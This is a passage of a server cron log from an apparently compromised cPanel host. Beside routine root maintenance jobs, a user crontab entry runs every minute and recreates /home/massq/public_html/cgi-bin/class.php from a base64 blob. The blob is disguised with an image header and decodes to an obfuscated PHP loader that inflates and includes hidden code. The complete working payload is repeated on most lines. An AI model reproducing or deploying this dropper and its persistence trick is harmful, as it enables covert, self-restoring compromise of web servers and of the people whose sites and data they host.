KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:32:01 server CROND[9031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:33:01 server CROND[9105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:34:01 server CROND[9213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:35:01 server CROND[9388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 16:35:01 server CROND[9389]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:35:01 server CROND[9393]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 16:35:01 server CROND[9395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:35:01 server CROND[9394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:36:01 server CROND[9515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:37:01 server CROND[9582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:38:01 server CROND[9649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:39:01 server CROND[9728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:39:01 server CROND[9729]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 16:40:01 server CROND[9808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 16:40:01 server CROND[9810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:40:01 server CROND[9809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:40:01 server CROND[9811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:41:01 server CROND[10024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:42:01 server CROND[10095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:42:01 server CROND[10096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 16:43:01 server CROND[10165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:44:01 server CROND[10229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:45:01 server CROND[10305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:45:01 server CROND[10306]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
